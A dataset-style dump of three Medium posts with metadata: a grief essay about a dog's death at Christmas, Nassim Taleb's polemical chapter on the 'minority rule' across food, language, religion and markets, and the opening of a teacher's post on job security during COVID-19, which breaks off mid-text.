“If I just keeping going, it’s not real.” I fight through the tears, until I can’t and let myself drop to my knees.
The sounds that escape my throat were, are, terrifying. The ebb and flow of emotions. Discordant tumultuous emotions.
I climb into bed, exhausted and drained, mentally and physically. And yet, sleep still alludes me without the help of the prescription meds. Given to me through a very teary-eyed, very honest telehealth conversation.
I go through the emotions, and feel the gravity of every. single. one.
Anger. Sadness. Confusion. Denial. Broken. Irrevocably broken.
I want, and hope, to get to a place of gratitude. But, that day seems like a unicorn. Instead, I sit here motionless, tears run my face as I stare at the spot where he used to sit next to me. Surrounded by the glitz and chaos of Christmas and drowning in the feeling of a unbreakable, broken bond.
We never saw the redwood trees together, nor did we walk the paths of Colorado, but the moments we shared were just as glorious.
A Sunday afternoon hike in the forest.
A summertime stroll along the oceanline.
A backyard splash session in his baby pool.
An afternoon playing in the snow.
A roaring fire to warm our paws and toes.
Sitting on the riverside bank, or anywhere, just being with one another.
A Christmas morning snuggled in bed, nestled with one another.
Rememberance is both a Christmas gift and a gut punch. I’m feeling the weight and gravity of every single memory, and emotion.
I lack the ability to filter or censor this grief. I feel his presence so strongly right next to me.
Again, I reach for him.
And, once again, I am forced to remember he’s not here.
And now it is Christmas Eve (Eve) and I underestimated the depth of how this holiday would feel without him. Just when I had hoped I was out of the acute phase of this grief like a backhand of holiday cheer I am fully immersed in the misery.
On the floor.
Knees to the chest.
Rocking in agony and confusion.
During the waking hours, I can manage (slightly more) the pain. The emotion. But once darkness hits and it’s time for the sandman to visit, I give in to all I’ve been holding from the day. | https://medium.com/@chrissyshelton/the-feeling-of-this-christmas-8f37fca9edda | ['Chrissy Shelton'] | 2020-12-24 18:19:25.613000+00:00 | ['Broken', 'Last Christmas', 'Christmas', 'Companion Animals', 'Dogs'] |
The Most Intolerant Wins: The Dictatorship of the Small Minority | (Chapter from Skin in the Game)
How Europe will eat Halal — Why you don’t have to smoke in the smoking section — Your food choices on the fall of the Saudi king –How to prevent a friend from working too hard –Omar Sharif ‘s conversion — How to make a market collapse
T he best example I know that gives insights into the functioning of a complex system is with the following situation. It suffices for an intransigent minority –a certain type of intransigent minorities –to reach a minutely small level, say three or four percent of the total population, for the entire population to have to submit to their preferences. Further, an optical illusion comes with the dominance of the minority: a naive observer would be under the impression that the choices and preferences are those of the majority. If it seems absurd, it is because our scientific intuitions aren’t calibrated for that (fughedabout scientific and academic intuitions and snap judgments; they don’t work and your standard intellectualization fails with complex systems, though not your grandmothers’ wisdom).
The main idea behind complex systems is that the ensemble behaves in way not predicted by the components. The interactions matter more than the nature of the units. Studying individual ants will never (one can safely say never for most such situations), never give us an idea on how the ant colony operates. For that, one needs to understand an ant colony as an ant colony, no less, no more, not a collection of ants. This is called an “emergent” property of the whole, by which parts and whole differ because what matters is the interactions between such parts. And interactions can obey very simple rules. The rule we discuss in this chapter is the minority rule.
The minority rule will show us how it all it takes is a small number of intolerant virtuous people with skin in the game, in the form of courage, for society to function properly.
This example of complexity hit me, ironically, as I was attending the New England Complex Systems institute summer barbecue. As the hosts were setting up the table and unpacking the drinks, a friend who was observant and only ate Kosher dropped by to say hello. I offered him a glass of that type of yellow sugared water with citric acid people sometimes call lemonade, almost certain that he would reject it owing to his dietary laws. He didn’t. He drank the liquid called lemonade, and another Kosher person commented: “liquids around here are Kosher”. We looked at the carton container. There was a fine print: a tiny symbol, a U inside a circle, indicating that it was Kosher. The symbol will be detected by those who need to know and look for the minuscule print. As to others, like myself, I had been speaking prose all these years without knowing, drinking Kosher liquids without knowing they were Kosher liquids.
Figure 1 The lemonade container with the circled U indicating it is (literally) Kosher.
Criminals With Peanut Allergies
A strange idea hit me. The Kosher population represents less than three tenth of a percent of the residents of the United States. Yet, it appears that almost all drinks are Kosher. Why? Simply because going full Kosher allows the producer, grocer, restaurant, to not have to distinguish between Kosher and nonkosher for liquids, with special markers, separate aisles, separate inventories, different stocking sub-facilities. And the simple rule that changes the total is as follows:
A Kosher (or halal) eater will never eat nonkosher (or nonhalal) food , but a nonkosher eater isn’t banned from eating kosher.
Or, rephrased in another domain:
A disabled person will not use the regular bathroom but a nondisabled person will use the bathroom for disabled people.
Granted, sometimes, in practice, we hesitate to use the bathroom with the disabled sign on it owing to some confusion –mistaking the rule for the one for parking cars, under the belief that the bathroom is reserved for exclusive use by the handicapped.
Someone with a peanut allergy will not eat products that touch peanuts but a person without such allergy can eat items without peanut traces in them.
Which explains why it is so hard to find peanuts on airplanes and why schools are peanut-free (which, in a way, increases the number of persons with peanut allergies as reduced exposure is one of the causes behind such allergies).
Let us apply the rule to domains where it can get entertaining:
An honest person will never commit criminal acts but a criminal will readily engage in legal acts.
Let us call such minority an intransigent group, and the majority a flexible one. And the rule is an asymmetry in choices.
I once pulled a prank on a friend. Years ago when Big Tobacco were hiding and repressing the evidence of harm from secondary smoking, New York had smoking and nonsmoking sections in restaurants (even airplanes had, absurdly, a smoking section). I once went to lunch with a friend visiting from Europe: the restaurant only had availability in the smoking sections. I convinced the friend that we needed to buy cigarettes as we had to smoke in the smoking section. He complied.
Two more things. First, the geography of the terrain, that is, the spatial structure, matters a bit; it makes a big difference whether the intransigents are in their own district or are mixed with the rest of the population. If the people following the minority rule lived in Ghettos, with their separate small economy, then the minority rule would not apply. But, when a population has an even spatial distribution, say the ratio of such a minority in a neighborhood is the same as that in the village, that in the village is the same as in the county, that in the county is the same as that in state, and that in the sate is the same as nationwide, then the (flexible) majority will have to submit to the minority rule. Second, the cost structure matters quite a bit. It happens in our first example that making lemonade compliant with Kosher laws doesn’t change the price by much, not enough to justify inventories. But if the manufacturing of Kosher lemonade cost substantially more, then the rule will be weakened in some nonlinear proportion to the difference in costs. If it cost ten times as much to make Kosher food, then the minority rule will not apply, except perhaps in some very rich neighborhoods.
Muslims have Kosher laws so to speak, but these are much narrower and apply only to meat. For Muslim and Jews have near-identical slaughter rules (all Kosher is halal for most Sunni Muslims, or was so in past centuries, but the reverse is not true). Note that these slaughter rules are skin-in-the-game driven, inherited from the ancient Eastern Mediterranean [discussed in Chapter] Greek and Semitic practice to only worship the gods if one has skin in the game, sacrifice meat to the divinity, and eat what’s left. The Gods do not like cheap signaling.
Now consider this manifestation of the dictatorship of the minority. In the United Kingdom, where the (practicing) Muslim population is only three to four percent, a very high number of the meat we find is halal. Close to seventy percent of lamb imports from New Zealand are halal. Close to ten percent of the chain Subway carry halal-only stores (meaning no pork), in spite of the high costs from the loss of business of nonpork stores. The same holds in South Africa where, with the same proportion of Muslims, a disproportionately higher number of chicken is Halal certified. But in the U.K. and other Christian countries, halal is not neutral enough to reach a high level, as people may rebel against forceful abidance to other’s religious norms. For instance, the 7th Century Christian Arab poet Al-Akhtal made a point to never eat halal meat, in his famous defiant poem boasting his Christianity: “I do not eat sacrificial flesh”. (Al-Akhtal was reflecting the standard Christian reaction from three or four centuries earlier — Christians were tortured in pagan times by being forced to eat sacrificial meat, which they found sacrilegious. Many Christian martyrs starved to death.)
One can expect the same rejection of religious norms to take place in the West as the Muslim populations in Europe grows.
Figure 2 Renormalization group: steps one through three (start from the top): Four boxes containing four boxes, with one of the boxes pink at step one, with successive applications of the minority rule.
So the minority rule may produce a larger share of halal food in the stores than warranted by the proportion of halal eaters in the population, but with a headwind somewhere because some people may have a taboo against Moslem food. But with some non-religious Kashrut rules, so to speak, the share can be expected converge to closer to a hundred percent (or some high number). In the U.S. and Europe, “organic” food companies are selling more and more products precisely because of the minority rule and because ordinary and unlabeled food may be seen by some to contain pesticides, herbicides, and transgenic genetically modified organisms, “GMOs” with, according to them, unknown risks. (What we call GMOs in this context means transgenic food, entailing the transfer of genes from a foreign organism or species). Or it could be for some existential reasons, cautious behavior, or Burkean conservatism –some may not want to venture too far too fast from what their grandparents ate. Labeling something “organic” is a way to say that it contains no transgenic GMOs.
In promoting genetically modified food via all manner of lobbying, purchasing of congressmen, and overt scientific propaganda (with smear campaigns against such persons as yours truly), the big agricultural companies foolishly believed that all they needed was to win the majority. No, you idiots. As I said, your snap “scientific” judgment is too naive in these type of decisions. Consider that transgenic-GMO eaters will eat nonGMOs, but not the reverse. So it may suffice to have a tiny, say no more than five percent of evenly spatially distributed population of non-genetically modified eaters for the entire population to have to eat non-GMO food. How? Say you have a corporate event, a wedding, or a lavish party to celebrate the fall of the Saudi Arabian regime, the bankruptcy of the rent-seeking investment bank Goldman Sachs, or the public reviling of Ray Kotcher, chairman of Ketchum the public relation firm that smears scientists and scientific whistleblowers on behalf of big corporations. Do you need to send a questionnaire asking people if they eat or don’t eat transgenic GMOs and reserve special meals accordingly? No. You just select everything non-GMO, provided the price difference is not consequential. And the price difference appears to be small enough to be negligible as (perishable) food costs in America are largely, about up to eighty or ninety percent, determined by distribution and storage, not the cost at the agricultural level. And as organic food (and designations such as “natural”) is in higher demand, from the minority rule, distribution costs decrease and the minority rule ends up accelerating in its effect.
Big Ag (the large agricultural firms) did not realize that this is the equivalent of entering a game in which one needed to not just win more points than the adversary, but win ninety-seven percent of the total points just to be safe. It is strange, once again, to see Big Ag who spent hundreds of millions of dollars on research cum smear campaigns, with hundreds of these scientists who think of themselves as more intelligent than the rest of the population, miss such an elementary point about asymmetric choices.
Another example: do not think that the spread of automatic shifting cars is necessarily due to the majority of drivers initially preferring automatic; it can just be because those who can drive manual shifts can always drive automatic, but the reciprocal is not true [1].
The method of analysis employed here is called renormalization group, a powerful apparatus in mathematical physics that allows us to see how things scale up (or down). Let us examine it next –without mathematics.
Renormalization Group
Figure 2 shows four boxes exhibiting what is called fractal self-similarity. Each box contains four smaller boxes. Each one of the four boxes will contain four boxes, and so all the way down, and all the way up until we reach a certain level. There are two colors: yellow for the majority choice, and pink for the minority one.
Assume the smaller unit contains four people, a family of four. One of them is in the intransigent minority and eats only nonGMO food (which includes organic). The color of the box is pink and the others yellow . We “renormalize once” as we move up: the stubborn daughter manages to impose her rule on the four and the unit is now all pink, i.e. will opt for nonGMO. Now, step three, you have the family going to a barbecue party attended by three other families. As they are known to only eat nonGMO, the guests will cook only organic. The local grocery store realizing the neighborhood is only nonGMO switches to nonGMO to simplify life, which impacts the local wholesaler, and the stories continues and “renormalizes”.
By some coincidence, the day before the Boston barbecue, I was flaneuring in New York, and I dropped by the office of a friend I wanted to prevent from working, that is, engage in an activity that when abused, causes the loss of mental clarity, in addition to bad posture and loss of definition in the facial features. The French physicist Serge Galam happened to be visiting and chose the friend’s office to kill time. Galam was first to apply these renormalization techniques to social matters and political science; his name was familiar as he is the author of the main book on the subject, which had then been sitting for months in an unopened Amazon box in my basement. He introduced me to his research and showed me a computer model of elections by which it suffices that some minority exceeds a certain level for its choices to prevail.
So the same illusion exists in political discussions, spread by the political “scientists”: you think that because some extreme right or left wing party has, say, the support of ten percent of the population that their candidate would get ten percent of the votes. No: these baseline voters should be classified as “inflexible” and will always vote for their faction. But some of the flexible voters can also vote for that extreme faction, just as nonKosher people can eat Kosher, and these people are the ones to watch out for as they may swell the numbers of votes for the extreme party. Galam’s models produced a bevy of counterintuitive effects in political science –and his predictions turned out to be way closer to real outcomes than the naive consensus.
The Veto
The fact we saw from the renormalization group the “veto” effect as a person in a group can steer choices. Rory Sutherland suggested that this explains why some fast-food chains, such as McDonald thrive, not because they offer a great product, but because they are not vetoed in a certain socio-economic group –and by a small proportions of people in that group at that. To put it in technical terms, it was a best worse-case divergence from expectations: a lower variance and lower mean.
When there are few choices, McDonald’s appears to be a safe bet. It is also a safe bet in shady places with few regulars where the food variance from expectation can be consequential –I am writing these lines in Milan’s cental train station and as offensive as it can be to a visitor from far away, McDonald’s is one of the few restaurants there. Shockingly, one sees Italians there seeking refuge from a risky meal.
Pizza is the same story: it is commonly accepted food and outside a fancy party nobody will be blamed for ordering it.
Rory wrote to me about the asymmetry beer-wine and the choices made for parties: “Once you have ten percent or more women at a party, you cannot serve only beer. But most men will drink wine. So you only need one set of glasses if you serve only wine — the universal donor, to use the language of blood groups.”
This strategy of the best lower bound might have been played by the Khazars looking to chose between Islam, Judaism, and Christianity. Legend has it that three high ranking delegations (bishops, rabbis and sheikhs) came to make the sales pitch. They asked the Christians: if you were forced to chose between Judaism and Islam, which one would you pick? Judaism, they replied. Then they asked the Muslim: which of the two, Christianity or Judaism. Judaism, the Muslim said. Judaim it was and the tribe converted.
Lingua Franca
If a meeting is taking place in Germany in the Teutonic-looking conference room of a corporation that is sufficiently international or European, and one of the persons in the room doesn’t speak German, the entire meeting will be run in… English, the brand of inelegant English used in corporations across the world. That way they can equally offend their Teuronic ancestors and the English language[2]. It all started with the asymmetric rule that those who are nonnative in English know (bad) English, but the reverse (English speakers knowing other languages) is less likely. French was supposed to be the language of diplomacy as civil servants coming from aristocratic background used it –while their more vulgar compatriots involved in commerce relied on English. In the rivalry between the two languages, English won as commerce grew to dominate modern life; the victory it has nothing to do with the prestige of France or the efforts of their civil servants in promoting their more or less beautiful Latinized and logically spelled language over the orthographically confusing one of trans-Channel meat-pie eaters.
We can thus get some intuition on how the emergence of lingua franca languages can come from minority rules–and that is a point that is not visible to linguists. Aramaic is a Semitic language which succeeded Canaanite (that is, Phoenician-Hebrew) in the Levant and resembles Arabic; it was the language Jesus Christ spoke. The reason it came to dominate the Levant and Egypt isn’t because of any particular imperial Semitic power or the fact that they have interesting noses. It was the Persians –who speak an Indo-European language –who spread Aramaic, the language of Assyria, Syria, and Babylon. Persians taught Egyptians a language that was not their own. Simply, when the Persians invaded Babylon they found an administration with scribes who could only use Aramaic and didn’t know Persian, so Aramaic became the state language. If your secretary can only take dictation in Aramaic, Aramaic is what you will use. This led to the oddity of Aramaic being used in Mongolia, as records were maintained in the Syriac alphabet (Syriac is the Eastern dialect of Aramaic). And centuries later, the story would repeat itself in reverse, with the Arabs using Greek in their early administration in the seventh and eighth’s centuries. For during the Hellenistic era, Greek replaced Aramaic as the lingua franca in the Levant, and the scribes of Damascus maintained their records in Greek. But it was not the Greeks who spread Greek around the Mediterranean –Alexander (himself not Greek but Macedonian and spoke a different dialect of Greek) did not lead to an immediate deep cultural Hellenization. It was the Romans who accelerated the spreading of Greek, as they used it in their administration across the Eastern empire.
A French Canadian friend from Montreal, Jean-Louis Rheault, commented as follows, bemoaning the loss of language of French Canadians outside narrowly provincial areas. He said: “In Canada, when we say bilingual, it is English speaking and when we say “French speaking” it becomes bilingual.”
Decentralize, Again
Another attribute of decentralization, and one that the “intellectuals” opposing an exit of Britain from the European Union (Brexit ) don’t get. If one needs, say a three pct. threshold in a political unit for the minority rule to take its effect, and on average the stubborn minority represents three pct. of the population, with variations around the average, then some states will be subject to the rule, but not others. If on the other hand we merged all states in one, then the minority rule will prevail all across. This is the reason the U.S.A. works so well as, I have been repeating to everyone who listens, we are a federation, not a republic. To use the language of Antifragile, decentralization is convex to variations.
Genes vs Languages
Looking at genetic data in the Eastern Mediterranean with my collaborator the geneticist Pierre Zalloua, we noticed that both invaders, Turks and Arabs left little genes and in the case of Turkey, the tribes from East and Central Asia brought an entirely new language. Turkey, shockingly, still has the populations of Asia Minor you read about in history books, but with new names. Further, Zalloua and his colleagues have shown that Canaanites from 3700 years ago represent more than nine tenth of the genes of current residents of the state of Lebanon, with only a tiny amount of new genes added, in spite of about every possible army having dropped by for sightseeing and some pillaging.[1] While Turks are Mediterraneans who speak an East Asian language, the French (North of Avignon) are largely of Northern European stock, yet they speak a Mediterranean language.
So:
Genes follow majority rules; languages minority rule
Languages travel; genes less so
This shows us the recent mistake to build racial theories on language, dividing people into “Aryans” and “Semites”, based on linguistic considerations. While the subject was central to the German Nazis, the practice continues today in one form or another, often benign. For the great irony is that Nordic supremacists (“Aryan”), while anti-Semitic, used the classical Greeks to give themselves a pedigree and a link to a glorious civilization, but didn’t realize that the Greeks and their Mediterranean “Semitic” neighbors were actually genetically close to one another. It has been recently shown that both ancient Greeks and Bronze age Levantines share an Anatolian origin. It just happened that the languages diverged.
[1] There is a current controversy in the U.K. as the Normand left more texts and pictures in history books than genes there.
The One-Way Street of Religions
In the same manner, the spread of Islam in the Near East where Christianity was heavily entrenched (it was born there) can be attributed to two simple asymmetries. The original Islamic rulers weren’t particularly interested in converting Christians as these provided them with tax revenues –the proselytism of Islam did not address those called “people of the book”, i.e. individuals of Abrahamic faith. In fact, my ancestors who survived thirteen centuries under Muslim rule saw advantages in not being Muslim: mostly in the avoidance of military conscription.
The two asymmetric rules were are as follows. First, if a non Muslim man under the rule of Islam marries a Muslim woman, he needs to convert to Islam –and if either parents of a child happens to be Muslim, the child will be Muslim[3]. Second, becoming Muslim is irreversible, as apostasy is the heaviest crime under the religion, sanctioned by the death penalty. The famous Egyptian actor Omar Sharif, born Mikhael Demetri Shalhoub, was of Lebanese Christian origins. He converted to Islam to marry a famous Egyptian actress and had to change his name to an Arabic one. He later divorced, but did not revert to the faith of his ancestors.
Under these two asymmetric rules, one can do simple simulations and see how a small Islamic group occupying Christian (Coptic) Egypt can lead, over the centuries, to the Copts becoming a tiny minority. All one needs is a small rate of interfaith marriages. Likewise, one can see how Judaism doesn’t spread and tends to stay in the minority, as the religion has opposite rules: the mother is required to be Jewish, causing interfaith marriages to leave the community. An even stronger asymmetry than that of Judaism explains the depletion in the Near East of three Gnostic faiths: the Druze, the Ezidi, and the Mandeans (Gnostic religions are those with mysteries and knowledge that is typically accessible to only a minority of elders, with the rest of the members in the dark about the details of the faith). Unlike Islam that requires either parents to be Muslim, and Judaism that asks for at least the mother to have the faith, these three religions require both parents to be of the faith, otherwise the person says toodaloo to the community.
Egypt has a flat terrain. The distribution of the population presents homogeneous mixtures there, which permits renormalization (i.e. allows the asymmetric rule to prevail) –we saw earlier in the chapter that for Kosher rules to work, one needed Jews to be somewhat spread out across the country. But in places such as Lebanon, Galilee, and Northern Syria, with mountainous terrain, Christians and other Non Sunni Muslims remained concentrated. Christians not being exposed to Muslims, experienced no intermarriage.
Egypt’s Copts suffered from another problem: the irreversibility of Islamic conversions. Many Copts during Islamic rule converted to Islam when it was merely an administrative procedure, something that helps one land a job or handle a problem that requires Islamic jurisprudence. One do not have to really believe in it since Islam doesn’t conflict markedly with Orthodox Christianity. Little by little a Christian or Jewish family bearing the marrano-style conversion becomes truly converted, as, a couple of generations later, the descendants forget the arrangement of their ancestors.
So all Islam did was out-stubborn Christianity, which itself won thanks to its own stubbornness. For, before Islam, the original spread of Christianity in the Roman empire can be largely seen due to… the blinding intolerance of Christians, their unconditional, aggressive and proselyting recalcitrance. Roman pagans were initially tolerant of Christians, as the tradition was to share gods with other members of the empire. But they wondered why these Nazarenes didn’t want to give and take gods and offer that Jesus fellow to the Roman pantheon in exchange for some other gods. What, our gods aren’t good enough for them? But Christians were intolerant of Roman paganism. The “persecutions” of the Christians had vastly more to do with the intolerance of the Christians for the pantheon and local gods, than the reverse. What we read is history written by the Christian side, not the Greco-Roman one. [4]
We know too little about the Roman side during the rise of Christianity, as hagiographies have dominated the discourse: we have for instance the narrative of the martyr Saint Catherine, who kept converting her jailors until she was beheaded, except that… she may have never existed. There are endless histories of Christian martyrs and saints –but very little about the other side, Pagan heroes. All we have is the bit we know about the reversion to Christianity during the emperor Julian’s apostasy and the writings of his entourage of Syrian-Greek pagans such as Libanius Antiochus. Julian had tried to go back to Ancient Paganism in vain: it was like trying to keep a balloon under water. And it was not because the majority was pagan as historians mistakenly think: it was because the Christian side was too unyielding. Christianity had great minds such as Gregorius of Nazianzen and Basil of Caesaria, but nothing to match the great orator Libanius, not even close. (My heuristic is that the more pagan, the more brilliant one’s mind, and the higher one’s ability to handle nuances and ambiguity. Purely monotheistic religious such as Protestant Christianity, Salafi Islam, or fundamentalist atheism accommodate literalist and mediocre minds that cannot handle ambiguity.)
In fact we can observe in the history of Mediterranean “religions” or, rather, rituals and systems of behavior and belief, a drift dictated by the intolerant, actually bringing the system closer to what we can call a religion. Judaism might have almost lost because of the mother-rule and the confinement to a tribal base, but Christianity ruled, and for the very same reasons, Islam did. Islam? there have been many Islams, the final accretion quite different from the earlier ones. For Islam itself is ending up being taken over (in the Sunni branch) by the purists simply because these were more intolerant than the rest: the Wahhabis, founders of Saudi Arabia, were the ones who destroyed the shrines, and to impose the maximally intolerant rule, in a manner that was later imitated by “ISIS” (the Islamic State of Iraq and Syria/the Levant). Every single accretion of Sunni Islam seems to be there to accommodate the most intolerant of its branches.
Imposing Virtue on Others
This idea of one-sidedness can help us debunk a few more misconceptions. How do books get banned? Certainly not because they offend the average person –most persons are passive and don’t really care, or don’t care enough to request the banning. It looks like, from past episodes, that all it takes is a few (motivated) activists for the banning of some books, or the black-listing of some people. The great philosopher and logician Bertrand Russell lost his job at the City University of New York owing to a letter by an angry –and stubborn –mother who did not wish to have her daughter in the same room as the fellow with dissolute lifestyle and unruly ideas. [5]
The same seems to apply to prohibitions –at least the prohibition of alcohol in the United States which led to interesting Mafia stories.
Let us conjecture that the formation of moral values in society doesn’t come from the evolution of the consensus. No, it is the most intolerant person who imposes virtue on others precisely because of that intolerance. The same can apply to civil rights.
An insight as to how the mechanisms of religion and transmission of morals obey the same renormalization dynamics as dietary laws –and how we can show that morality is more likely to be something enforced by a minority. We saw earlier in the chapter the asymmetry between obeying and breaking rules: a law-abiding (or rule abiding) fellow always follows the rules, but a felon or someone with looser sets of principles will not always break the rules. Likewise we discussed the strong asymmetric effects of the halal dietary laws. Let us merge the two. It turns out that, in classical Arabic, the term halal has one opposite: haram. Violating legal and moral rules –any rule — is called haram. It is the exact same interdict that governs food intake and all other human behaviors, like sleeping with the wife of the neighbor, lending with interest (without partaking of downside of the borrower) or killing one’s landlord for pleasure. Haram is haram and is asymmetric.
From that we can see that once a moral rule is established, it would suffice to have a small intransigent minority of geographically distributed followers to dictate the norm in society. The sad news, as we will see in the next chapter, is that one person looking at mankind as an aggregate may mistakenly believe that humans are spontaneously becoming more moral, better, more gentle, have better breath, when it applies to only a small proportion of mankind.
The Stability of the Minority Rule, A Probabilistic Argument
A probabilistic argument in favor of the minority rule dictating societal values is as follows. Wherever you look across societies and histories, you tend to find the same general moral laws prevailing, with some, but not significant, variations: do not steal (at least not from within the tribe); do not hunt orphans for pleasure; do not gratuitously beat up passers by for training, use instead a boxing bags (unless you are Spartan and even then you can only kill a limited number of helots for training purposes), and similar interdicts. And we can see these rules evolving over time to become more universal, expanding to a broader set, to progressively include slaves, other tribes, other species (animals, economists), etc. And one property of these laws: they are black-and-white, binary, discrete, and allow no shadow. You cannot steal “a little bit” or murder “moderately”. You cannot keep Kosher and eat “just a little bit” of pork on Sunday barbecues.
Now it would be vastly more likely that these values emerged from a minority that the majority. Why? Take the following two theses:
Outcomes are paradoxically more stable under the minority rule — the variance of the results is lower and the rule is more likely to be emerge independently across populations.
What emerges from the minority rule is more likely to be be black-and-white.
An example. Consider that an evil person wants to poison the collective by putting some product into soda cans. He has two options. The first is cyanide, which obeys a minority rule: a drop of poison (higher than a small threshold) makes the entire liquid poisonous. The second is a “majority”-style poison; it requires more than half the liquid to be poisonous in order to kill. Now look at the inverse problem, a collection of dead people after a dinner party, and you need to investigate the cause. The local Sherlock Holmes would assert that conditional on the outcome that all people drinking the soda having been killed, the evil man opted for the first not the second option. Simply, the majority rule leads to fluctuations around the average, with a high rate of survival.
The black-and-white character of these societal laws can be explained with the following. Assume that under a certain regime, when you mix white and dark blue in various combinations, you don’t get variations of light blue, but dark blue. Such a regime is vastly more likely to produce dark blue than another rule that allows more shades of blue.
Popper’s Paradox
I was at a large multi-table dinner party, the kind of situation where you have to choose between the vegetarian risotto and the non-vegetarian option when I noticed that my neighbor had his food catered (including silverware) on a tray reminiscent of airplane fare. The dishes were sealed with aluminum foil. He was evidently ultra-Kosher. It did not bother him to be seated with prosciutto eaters who, in addition, mix butter and meat in the same dishes. He just wanted to be left alone to follow his own preferences.
For Jews and Muslim minorities such as Shiites, Sufis, and associated religions such as Druze and Alawis, the aim is for people to leave them alone so they can satisfy their own dietary preferences –largely, with historical exceptions here and there. But had my neighbor been a Sunni Salafi, he would have required the entire room to be eating Halal. Perhaps the entire building. Perhaps the entire town. Hopefully the entire country. Hopefully the entire planet. Indeed, given the total lack of separation between church and state, and between the holy and the profane (Chapter x), to him Haram (the opposite of Halal) means literally illegal. The entire room was committing a legal violation.
As I am writing these lines, people are disputing whether the freedom of the enlightened West can be undermined by the intrusive policies that would be needed to fight fundamentalists.As I am writing these lines, people are disputing whether the freedom of the enlightened West can be undermined by the intrusive policies that would be needed to fight Salafi fundamentalists.
Clearly can democracy –by definition the majority — tolerate enemies? The question is as follows: “ Would you agree to deny the freedom of speech to every political party that has in its charter the banning the freedom of speech?” Let’s go one step further, “Should a society that has elected to be tolerant be intolerant about intolerance?”
This is in fact the incoherence that Kurt Gödel (the grandmaster of logical rigor) detected in the constitution while taking the naturalization exam. Legend has it that Gödel started arguing with the judge and Einstein, who was his witness during the process, saved him.
I wrote about people with logical flaws asking me if one should be “skeptical about skepticism”; I used a similar answer as Popper when was asked if “ one could falsify falsification”.
We can answer these points using the minority rule. Yes, an intolerant minority can control and destroy democracy. Actually, as we saw, it will eventually destroy our world.
So, we need to be more than intolerant with some intolerant minorities. It is not permissible to use “American values” or “Western principles” in treating intolerant Salafism (which denies other peoples’ right to have their own religion). The West is currently in the process of committing suicide.
The Irreverence of Markets and Science
Now consider markets. We can say that markets aren’t the sum of market participants, but price changes reflect the activities of the most motivated buyer and seller. Yes, the most motivated rules. Indeed this is something that only traders seem to understand: why a price can drop by ten percent because of a single seller. All you need is a stubborn seller. Markets react in a way that is disproportional to the impetus. The overall stock markets represent currently more than thirty trillions dollars but a single order in 2008, only fifty billion, that is less than two tenth of a percent of the total, caused them to drop by close to ten percent, causing losses of around three trillion. It was an order activated by the Parisian Bank Société Générale who discovered a hidden acquisition by a rogue trader and wanted to reverse the purchase. Why did the market react so disproportionately? Because the order was one-way –stubborn — there was desire to sell but no way to change one’s mind. My personal adage is:
The market is like a large movie theatre with a small door.
And the best way to detect a sucker (say the usual finance journalist) is to see if his focus is on the size of the door or on that of the theater. Stampedes happen in cinemas, say when someone shouts “fire”, because those who want to be out do not want to stay in, exactly the same unconditionality we saw with Kosher observance.
Science acts similarly. We will return later with a discussion of how the minority rule is behind Karl Popper’s approach to science. But let us for now discuss the more entertaining Feynman. What do You Care What Other People Think? is the title of a book of anecdotes by the great Richard Feynman, the most irreverent and playful scientist of his day. As reflected in the title of the book, Feynman conveys in it the idea of the fundamental irreverence of science, acting through a similar mechanism as the Kosher asymmetry. How? Science isn’t the sum of what scientists think, but exactly as with markets, a procedure that is highly skewed. Once you debunk something, it is now wrong (that is how science operates but let’s ignore disciplines such as economics and political science that are more like pompous entertainment). Had science operated by majority consensus we would be still stuck in the Middle Ages and Einstein would have ended as he started, a patent clerk with fruitless side hobbies.
***
Alexander said that it was preferable to have an army of sheep led by a lion to an army of lions led by a sheep. Alexander (or no doubt he who produced this probably apocryphal saying) understood the value of the active, intolerant, and courageous minority. Hannibal terrorized Rome for a decade and a half with a tiny army of mercenaries, winning twenty-two battles against the Romans, battles in which he was outnumbered each time. He was inspired by a version of this maxim. At the battle of Cannae, he remarked to Gisco who complained that the Carthaginians were outnumbered by the Romans: “There is one thing that’s more wonderful than their numbers … in all that vast number there is not one man called Gisgo.[6]”[i]
Unus sed leo: only one but a lion.
This large payoff from stubborn courage is not just in the military. The entire growth of society, whether economic or moral, comes from a small number of people. So we close this chapter with a remark about the role of skin in the game in the condition of society. Society doesn’t evolve by consensus, voting, majority, committees, verbose meeting, academic conferences, and polling; only a few people suffice to disproportionately move the needle. All one needs is an asymmetric rule somewhere. And asymmetry is present in about everything.
Notes
[1] Thank Amir-Reza Amini.
[2] Thank Arnie Schwarzvogel.
[3] Note some minor variations across regions and Islamic sects. The original rule is that if a Muslim woman marries a Non Muslim man, he needs to convert. In practice, in many countries, both need to do so.
[4] The various modes of worship, which prevailed in the Roman world, were all considered by the people, as equally true; by the philosopher, as equally false; and by the magistrate, as equally useful. And thus toleration produced not only mutual indulgence, but even religious concord. Gibbon
[5] “Never doubt that a small group of thoughtful citizens can change the world. Indeed, it is the only thing that ever has.” — Margaret Mead
[6] The Carthaginians seem to be short in name variety: there are plenty of Hamilcars and Hadsrupals confusing historians. Likewise there appear to be many Giscos, including the character in Flaubert’s Salambo.
[i] https://books.google.com/books?id=VzMGAAAAQAAJ&pg=PA269&lpg=PA269&dq=gisco+battle+of+cannae&source=bl&ots=2ybmCD6EaT&sig=lqU71NF46YOpnOSXDfZUsQco2O0&hl=en&sa=X&ved=0CC4Q6AEwAmoVChMI7vnU8-2tyAIVRjw-Ch3DhQkM#v=onepage&q=gisco%20battle%20of%20cannae&f=false | https://medium.com/incerto/the-most-intolerant-wins-the-dictatorship-of-the-small-minority-3f1f83ce4e15 | ['Nassim Nicholas Taleb'] | 2017-08-24 12:05:31.578000+00:00 | ['ISIS', 'Islam', 'France', 'Popper', 'Complexity'] |
Why Being a Public School Teacher is the Greatest Job | Why Being a Public School Teacher is the Greatest Job
Especially during this time of COVID-19 and remote work
Photo by Ben Mullins on Unsplash
I’ve always loved my job. Of course, many are the days that I’d prefer to stay home, go have lunch with friends and skip work. But, overall, I find teaching rewarding, challenging and fun.
I’m an early childhood special education teacher at a public school in Connecticut. I teach a preschool class that includes students with moderate to significant disabilities along with non-disabled students. I’ve been doing this for the past 15 years.
These past three weeks, I’ve felt more grateful than ever to have a job, this job specifically.
Here are three reasons why:
Job security
Thousands of people have lost their jobs or income due to the pandemic. Hundreds more will follow. Many more still feel enormously anxious because they can’t be sure they’ll still have a job when this is over -even if, ultimately, they don’t end up unemployed.
I have a secure job. Unless I fail miserably at it, I won’t be laid off. There aren’t that many qualified and credentialed folks looking for jobs as early childhood special ed teachers. I know. My school district hired one last summer and I participated in the interviews.
My paycheck is a certainty, if there ever was one. I can count on a specific amount being deposited twice monthly. Of utmost importance, I’m able to pay for good health insurance for my family through my job.
